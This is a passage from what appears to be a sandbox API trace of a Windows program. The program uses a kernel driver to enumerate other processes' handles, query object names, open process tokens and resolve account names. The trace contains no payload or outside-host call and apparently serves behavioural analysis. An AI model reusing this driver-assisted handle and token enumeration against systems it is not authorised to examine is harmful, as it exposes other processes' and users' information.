| out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.049] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.049] PsReleaseProcessExitSynchronization () returned 0x2 [0137.049] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.049] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a0b044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0b044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.049] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.049] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.049] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.049] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0137.049] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.049] PsAcquireProcessExitSynchronization () returned 0x0 [0137.049] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.049] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0137.049] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.049] PsReleaseProcessExitSynchronization () returned 0x2 [0137.049] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.049] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.049] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0137.049] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.049] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.049] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.049] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.049] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.049] PsAcquireProcessExitSynchronization () returned 0x0 [0137.049] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.049] ObReferenceObjectByHandle (in: Handle=0x4a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800352ec00, HandleInformation=0x0) returned 0x0 [0137.049] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.049] PsReleaseProcessExitSynchronization () returned 0x2 [0137.050] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.050] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a0a044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a0a044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.050] ObfDereferenceObject (Object=0xfffffa800352ec00) returned 0x1 [0137.050] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.050] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.050] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0137.050] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.050] PsAcquireProcessExitSynchronization () returned 0x0 [0137.050] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880054735d0) [0137.050] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0137.050] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.050] PsReleaseProcessExitSynchronization () returned 0x2 [0137.050] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0137.050] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80019f9044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019f9044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.050] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0137.050] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.050] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.050] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x530) returned 0xc0 [0137.050] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.050] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa800330c360, HandleInformation=0x0) returned 0x0 [0137.050] ObOpenObjectByPointer (in: Object=0xfffffa800330c360, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000a64) returned 0x0 [0137.050] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x37 [0137.050] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a64, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.050] ZwClose (Handle=0xffffffff80000a64) returned 0x0 [0137.050] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.050] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.050] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.052] CloseHandle (hObject=0xc8) returned 1 [0137.052] CloseHandle (hObject=0xc0) returned 1 [0137.052] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.052] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.052] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.052] PsAcquireProcessExitSynchronization () returned 0x0 [0137.052] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054735d0) [0137.052] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800330cf20, HandleInformation=0x0) returned 0x0 [0137.052] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.052] PsReleaseProcessExitSynchronization () returned 0x2 [0137.052] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0137.052] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001fc2044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001fc2044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.052] ObfDereferenceObject (Object=0xfffffa800330cf20) returned 0x1 [0137.052] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.052] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.052] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.052] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.052] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.052] PsAcquireProcessExitSynchronization () returned 0x0 [0137.052] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054735d0) [0137.052] ObReferenceObjectByHandle (in: Handle=0x68, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80032b3c80, HandleInformation=0x0) returned 0x0 [0137.052] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.052] PsReleaseProcessExitSynchronization () returned 0x2 [0137.052] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0137.052] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80019fd044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa80019fd044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.052] ObfDereferenceObject (Object=0xfffffa80032b3c80) returned 0x1 [0137.053] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.053] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.053] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.053] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.053] PsAcquireProcessExitSynchronization () returned 0x0 [0137.053] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054735d0) [0137.053] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.053] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.053] PsReleaseProcessExitSynchronization () returned 0x2 [0137.053] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0137.053] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa80019fe044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019fe044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.053] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.053] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.053] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.053] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0137.053] PsLookupProcessByProcessId (in: ProcessId=0x530, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.053] PsAcquireProcessExitSynchronization () returned 0x0 [0137.053] KeStackAttachProcess (in: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa800330c360, ApcState=0xfffff880054735d0) [0137.053] ObReferenceObjectByHandle (in: Handle=0x148, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0137.053] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.053] PsReleaseProcessExitSynchronization () returned 0x2 [0137.053] ObfDereferenceObject (Object=0xfffffa800330c360) returned 0x35 [0137.053] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80019ff044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa80019ff044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.053] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0137.053] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.053] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.053] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x720) returned 0xc0 [0137.053] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0137.053] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005473668, HandleInformation=0x0 | out: Object=0xfffff88005473668*=0xfffffa8002251300, HandleInformation=0x0) returned 0x0 [0137.053] ObOpenObjectByPointer (in: Object=0xfffffa8002251300, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005473670 | out: Handle=0xfffff88005473670*=0xffffffff80000a64) returned 0x0 [0137.053] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4c [0137.053] ZwOpenProcessToken (in: ProcessHandle=0xffffffff80000a64, DesiredAccess=0x8, TokenHandle=0xfffffa800f135fc0 | out: TokenHandle=0xfffffa800f135fc0*=0xc8) returned 0x0 [0137.054] ZwClose (Handle=0xffffffff80000a64) returned 0x0 [0137.054] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.054] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0137.054] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x13), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="LOCAL SERVICE", cchName=0x12d3c0, ReferencedDomainName="NT AUTHORITY", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0137.055] CloseHandle (hObject=0xc8) returned 1 [0137.055] CloseHandle (hObject=0xc0) returned 1 [0137.055] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.055] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x5a, lpOverlapped=0x0) returned 1 [0137.055] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.055] PsAcquireProcessExitSynchronization () returned 0x0 [0137.055] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.055] ObReferenceObjectByHandle (in: Handle=0xc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa80031b5390, HandleInformation=0x0) returned 0x0 [0137.055] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.055] PsReleaseProcessExitSynchronization () returned 0x2 [0137.055] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.055] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8001a01044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a01044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.055] ObfDereferenceObject (Object=0xfffffa80031b5390) returned 0x1 [0137.055] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.055] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.055] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.055] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0137.055] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.055] PsAcquireProcessExitSynchronization () returned 0x0 [0137.055] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.056] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffffa800eb5b310, HandleInformation=0x0) returned 0x0 [0137.056] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.056] PsReleaseProcessExitSynchronization () returned 0x2 [0137.056] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.056] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa8001a06044, Length=0x800, ReturnLength=0xfffff88005473508 | out: ObjectNameInfo=0xfffffa8001a06044, ReturnLength=0xfffff88005473508) returned 0x0 [0137.056] ObfDereferenceObject (Object=0xfffffa800eb5b310) returned 0x1 [0137.056] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.056] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.056] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.056] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.056] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.056] PsAcquireProcessExitSynchronization () returned 0x0 [0137.056] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.056] ObReferenceObjectByHandle (in: Handle=0xd0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.056] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.056] PsReleaseProcessExitSynchronization () returned 0x2 [0137.056] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.056] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a07044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a07044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.056] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.056] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.056] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.056] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.056] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0137.056] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.056] PsAcquireProcessExitSynchronization () returned 0x0 [0137.056] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.056] ObReferenceObjectByHandle (in: Handle=0xdc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0137.056] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.056] PsReleaseProcessExitSynchronization () returned 0x2 [0137.056] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.056] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8001a09044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a09044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.057] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x29 [0137.057] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.057] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.057] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.057] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0x68, lpOverlapped=0x0) returned 1 [0137.057] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.057] PsAcquireProcessExitSynchronization () returned 0x0 [0137.057] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.057] ObReferenceObjectByHandle (in: Handle=0x118, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005473548, HandleInformation=0x0 | out: Object=0xfffff88005473548*=0xfffff8a0014f2d60, HandleInformation=0x0) returned 0x0 [0137.057] KeUnstackDetachProcess (ApcState=0xfffff880054735d0) [0137.057] PsReleaseProcessExitSynchronization () returned 0x2 [0137.057] ObfDereferenceObject (Object=0xfffffa8002251300) returned 0x4a [0137.057] ObQueryNameString (in: Object=0xfffff8a0014f2d60, ObjectNameInfo=0xfffffa8001a0c044, Length=0x800, ReturnLength=0xfffff88005473550 | out: ObjectNameInfo=0xfffffa8001a0c044, ReturnLength=0xfffff88005473550) returned 0x0 [0137.057] ObfDereferenceObject (Object=0xfffff8a0014f2d60) returned 0x6 [0137.057] IofCompleteRequest (Irp=0xfffffa8003b8e9e0, PriorityBoost=0) [0137.057] HeapFree (in: hHeap=0x330000, dwFlags=0x0, lpMem=0x370b20 | out: hHeap=0x330000) returned 1 [0137.057] RtlAllocateHeap (HeapHandle=0x330000, Flags=0x0, Size=0x808) returned 0x370b20 [0137.057] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x370b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x370b20*, lpBytesReturned=0x12d450*=0xa0, lpOverlapped=0x0) returned 1 [0137.057] PsLookupProcessByProcessId (in: ProcessId=0x720, Process=0xfffff88005473558 | out: Process=0xfffff88005473558) returned 0x0 [0137.057] PsAcquireProcessExitSynchronization () returned 0x0 [0137.057] KeStackAttachProcess (in: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0 | out: PROCESS=0xfffffa8002251300, ApcState=0xfffff880054735d0) [0137.057] ObReferenceObjectByHandle (in: Handle=0x11c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, 